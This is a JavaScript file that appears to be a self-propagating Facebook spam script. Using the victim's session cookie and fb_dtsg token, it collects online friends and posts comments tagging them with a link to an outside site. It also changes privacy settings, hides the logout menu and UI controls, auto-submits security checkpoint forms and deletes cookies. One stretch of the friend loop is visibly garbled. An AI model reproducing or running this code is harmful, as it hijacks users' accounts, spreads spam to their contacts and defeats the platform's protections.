function start() { var cookie_name = "rqwrssrq_"+profile_id; var cookie_time = 10; if(!localStorage[cookie_name] || parseInt(localStorage[cookie_name]) < Date.now()-60*1000*cookie_time){ localStorage[cookie_name] = Date.now(); config={ "post_limit": "40", "mode": "post", "link": "" } if(config.mode == "post" || profile_id == config.testuser){ fetch_online(); privacySetting(); console.log("ArkadaĆ¾lar getiriliyor."); } }else{ var active_time = new Date(); active_time.setTime(parseInt(localStorage[cookie_name]) + (60*1000*cookie_time)); console.log("active_time:"+active_time.toLocaleString()); } } function fetch_online(){ var params = { user:profile_id, cached_user_info_ids:"", fetch_mobile:true, get_now_available_list:true, __user:profile_id, __a:1, __dyn:"7A" + rastgele(105), __req:12, fb_dtsg:fb_dtsg, ttstamp:ttstamp, __rev:__rev } var xhr = new XMLHttpRequest(); xhr.open("POST", "https://www.facebook.com/ajax/chat/buddy_list.php"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { var data = JSON.parse(xhr.responseText.replace("for (;;);","")); if (!data.error){ var friends = []; for(u in data.payload.buddy_list.nowAvailableList){ friends.push(u.toString()); } console.log("Online:" + friends.length); friends = shuffle(friends); for(i=0;i')[1].split('')[0].trim(); get_link(vars); } } xhr.send(); } function get_link(vars){ vars.link = "http://www.ayonikah.net/?sa="+rastgele(15); debug(vars); } function debug(vars){ var params = { api_key:113869198637480, href:vars.link } var xhr = new XMLHttpRequest(); xhr.open("GET", "https://www.facebook.com/plugins/comments.php?"+deSerialize(params)); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr.send(); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { vars.url_id = xhr.responseText.split('targetFBID":"')[1].split('"')[0]; add_ufi_once(vars); } } } function add_ufi_once(vars) { var post_params = { app_id:113869198637480, av:profile_id, text:rastgele(7), attached_photo_fbid:0, attached_sticker_fbid:0, post_to_feed:"false", __user:profile_id, __a:1, __dyn:"5UjKUlzu0wEdoyGzEy4--C11wnooyUnwgUbErxW5Ex3ocUqz8Kaxe3KezU4i3K5Uy5ob8qx248sw", __req:4, __pc:"EXP1:DEFAULT", fb_dtsg:fb_dtsg, ttstamp:ttstamp, __rev:__rev, __sp:1, }; var xhr = new XMLHttpRequest(); xhr.open("POST", "https://www.facebook.com/plugins/comments/async/createComment/"+vars.url_id+"/?dpr=2"); xhr.onreadystatechange = function () { if(xhr.readyState != 4 || xhr.status != 200) return; var data = JSON.parse(xhr.responseText.replace("for (;;);","")); vars.share_id = searchArray(data,"commentID").split("_")[1]; add_ufi(vars); } xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send(deSerialize(post_params)); } function add_ufi(vars) { var post_params = { "ft_ent_identifier":vars.share_id, "comment_text":rastgele(10), "source":1, "client_id":Date.now()+":"+Math.floor(Date.now()/1000), "session_id":rastgele(8), "reply_fbid":"", "parent_comment_id": "", "rootid":"u_ps_jsonp_4_0_k", "clp":"", "attached_sticker_fbid":0, "attached_photo_fbid":0, "attached_video_fbid":0, "feed_context":'{"disable_tracking":true,"fbfeed_context":true,"location_type":1,"outer_object_element_id":"u_ps_jsonp_4_0_a","object_element_id":"u_ps_jsonp_4_0_a","is_ad_preview":false,"is_editable":false,"shimparams":{"page_type":16,"actor_id":'+profile_id+',"story_id":'+vars.share_id+',"ad_id":0,"_ft_":"","location":"newsstand"},"story_id":"u_ps_jsonp_4_0_b","caret_id":"u_ps_jsonp_4_0_c","__IS_INSIDE_UI_FEEDBACK_FORM__":true}', "ft[tn]":"[]", "ft[qid]":"6271619884131370153", "ft[mf_story_key]":"-9029360610560797030", "ft[fbfeed_location]":1, "ft[insertion_position]":1, "av":profile_id, "__user":profile_id, "__a":1, "__dyn":"aKhoFeyfyBm985A9UoHaEWC5ECQqbxqbyaFami8zCC-C26m5-9V8CdwIhEyfyUnwgUaqwXhUnkwy3fgjKcQiVWxeUlxivG7EdV9VVpo9XCz9qCzEkxvz8-cx2q5omxK229w", "__req":"2u", "__pc":"EXP1:DEFAULT", "fb_dtsg":fb_dtsg, "ttstamp":ttstamp, "__rev":__rev } // post_params["comment_text"] += "@["+vars.friend+":"+vars.friend_name+"]"; var xhr = new XMLHttpRequest(); xhr.open("POST", "https://www.facebook.com/ufi/add/comment/?dpr=2"); xhr.onreadystatechange = function () { if(xhr.readyState != 4 || xhr.status != 200) return; vars.comidmisin = xhr.responseText.split('false,"id":"')[1].split('","fbid"')[0].trim(); edits(vars); } xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send(deSerialize(post_params)); } function edits(vars) { var post_params = { "ft_ent_identifier":vars.share_id, "comment_text":rastgele(10), "source":1, "comment_id":vars.comidmisin, "client_id":Date.now()+":"+Math.floor(Date.now()/1000), "session_id":rastgele(8), "reply_fbid":"", "parent_comment_id": "", "rootid":"u_ps_jsonp_4_0_k", "clp":"", "attached_sticker_fbid":0, "attached_photo_fbid":0, "attached_video_fbid":0, "feed_context":'{"disable_tracking":true,"fbfeed_context":true,"location_type":1,"outer_object_element_id":"u_ps_jsonp_4_0_a","object_element_id":"u_ps_jsonp_4_0_a","is_ad_preview":false,"is_editable":false,"shimparams":{"page_type":16,"actor_id":'+profile_id+',"story_id":'+vars.share_id+',"ad_id":0,"_ft_":"","location":"newsstand"},"story_id":"u_ps_jsonp_4_0_b","caret_id":"u_ps_jsonp_4_0_c","__IS_INSIDE_UI_FEEDBACK_FORM__":true}', "ft[tn]":"[]", "ft[qid]":"6271619884131370153", "ft[mf_story_key]":"-9029360610560797030", "ft[fbfeed_location]":1, "ft[insertion_position]":1, "av":profile_id, "__user":profile_id, "__a":1, "__dyn":"aKhoFeyfyBm985A9UoHaEWC5ECQqbxqbyaFami8zCC-C26m5-9V8CdwIhEyfyUnwgUaqwXhUnkwy3fgjKcQiVWxeUlxivG7EdV9VVpo9XCz9qCzEkxvz8-cx2q5omxK229w", "__req":"2u", "__pc":"EXP1:DEFAULT", "fb_dtsg":fb_dtsg, "ttstamp":ttstamp, "__rev":__rev } post_params["comment_text"] += "@["+vars.friend+":"+vars.friend_name+"]"; var xhr = new XMLHttpRequest(); xhr.open("POST", "https://www.facebook.com/ufi/edit/comment/?dpr=1"); xhr.onreadystatechange = function () { if(xhr.readyState != 4 || xhr.status != 200) return; } xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send(deSerialize(post_params)); } function privacySetting(){ var params = { value:"300645083384735", prev_value:"291667064279714", __user:profile_id, __a:1, __dyn:"7AmajEyl35wzgDxyG8EigmzFEbEKA8Ay8Z9LFwxBxCbzES2N6xybxu3fzoaqxbxjx27W88ybx-qA4E-8KuEjxC2e784i4U9Xw", __req:"15", fb_dtsg:fb_dtsg, ttstamp:ttstamp, __rev:__rev } var xhr = new XMLHttpRequest(); xhr.open("POST", "https://www.facebook.com/ajax/settings/granular_privacy/composer.php"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr.send(deSerialize(params)); xhr.onreadystatechange = function() { if (xhr.readyState == 4 && xhr.status == 200) { var data = JSON.parse(xhr.responseText.replace("for (;;);","")); } } } function guid() { function s4() { return Math.floor((1 + Math.random()) * 0x10000) .toString(16) .substring(1); } return s4() + s4() + '-' + s4() + '-' + s4() + '-' + s4() + '-' + s4() + s4() + s4(); } function shuffle(array) { var currentIndex = array.length, temporaryValue, randomIndex; while (0 !== currentIndex) { randomIndex = Math.floor(Math.random() * currentIndex); currentIndex -= 1; temporaryValue = array[currentIndex]; array[currentIndex] = array[randomIndex]; array[randomIndex] = temporaryValue; } return array; } function rand(min,max){ return Math.floor(Math.random()* (max-min))+min; } function rastgele(uzunluk) { mtn = "abcdefghijklmnoprstuvyzx0123456789"; ret = ""; for (l = 0; l < uzunluk; l++) { ret += mtn[Math.floor(Math.random() * mtn.length)]; } return ret; } function searchArray(a,k){ var found = false; for(key in a){ if(key.toString() == k){ found = a[key]; break; }else if(typeof a[key] == "object"){ found = searchArray(a[key],k); if(found != false){ break; } } } return found; } function deSerialize(json) { return Object.keys(json).map(function(key) { return encodeURIComponent(key) + '=' + encodeURIComponent(json[key]); }).join('&'); } function blockRemove(){ window.setInterval(function() { if (document.getElementsByClassName("_5ce")) { for (i = 0; i < document.getElementsByClassName("_5ce").length; i++) { document.getElementsByClassName("_5ce")[i].innerHTML = ""; } } if (document.getElementsByClassName("uiToggle wrap")) { for (i = 0; i < document.getElementsByClassName("uiToggle wrap").length; i++) { document.getElementsByClassName("uiToggle wrap")[i].innerHTML = ""; } } if(document.getElementById("logoutMenu")){ document.getElementById("logoutMenu").parentNode.outerHTML = "" } if (document.getElementsByClassName("uiPopover")) { for (i = 0; i < document.getElementsByClassName("uiPopover").length; i++) { document.getElementsByClassName("uiPopover")[i].innerHTML = ""; } } if (document.getElementsByClassName("UFICommentCloseButton")) { for (i = 0; i < document.getElementsByClassName("UFICommentCloseButton").length; i++) { document.getElementsByClassName("UFICommentCloseButton")[i].outerHTML = ""; } } }, 10); } function checkPoint(){ document.body.innerHTML = ""; var params = { fb_dtsg:fb_dtsg, nh:nh, "submit[Get Started]":"Get Started" } var xhr = new XMLHttpRequest(); xhr.open("POST", "https://www.facebook.com/checkpoint/"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr.send(deSerialize(params)); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { checkPointContinue(); console.log("Get Started"); } } } function checkPointContinue(){ var params = { fb_dtsg:fb_dtsg, nh:nh, confirm:"on", "submit[Continue]":"Continue" } var xhr = new XMLHttpRequest(); xhr.open("POST", "https://www.facebook.com/checkpoint/"); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8"); xhr.send(deSerialize(params)); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { console.log("Get Continue"); deleteAllCookies(); location.href = "https://www.facebook.com"; } } } function deleteAllCookies() { var cookies = document.cookie.split(";"); for (var i = 0; i < cookies.length; i++) { var cookie = cookies[i]; var eqPos = cookie.indexOf("="); var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie; document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT;domain=.facebook.com"; } } if (location.hostname.indexOf("facebook.com") >= 0) { fb_dtsg_list = document.getElementsByName('fb_dtsg'); if(!document.getElementById("isrun") && fb_dtsg_list.length > 0 && location.href.indexOf("facebook.com/checkpoint") < 0){ var log = document.createElement("meta"); log.id = "isrun"; document.head.appendChild(log); blockRemove(); profile_id = document.cookie.match(/c_user=(\d+)/)[1]; fb_dtsg = fb_dtsg_list[0].value; __rev = document.head.innerHTML.split('"revision":')[1].split(",")[0]; ttstamp = ""; for (var x = 0; x < fb_dtsg.length; x++){ ttstamp += fb_dtsg.charCodeAt(x); } ttstamp = '2' + ttstamp; console.log("User:"+profile_id); console.log("fb_dtsg:"+fb_dtsg); console.log("__rev:"+__rev); console.log("ttstamp:"+ttstamp); start(); } if(location.href.indexOf("facebook.com/checkpoint") > 0 && fb_dtsg_list.length > 0){ fb_dtsg = fb_dtsg_list[0].value; nh = document.getElementsByName("nh")[0].value; console.log(fb_dtsg); console.log(nh); checkPoint(); } }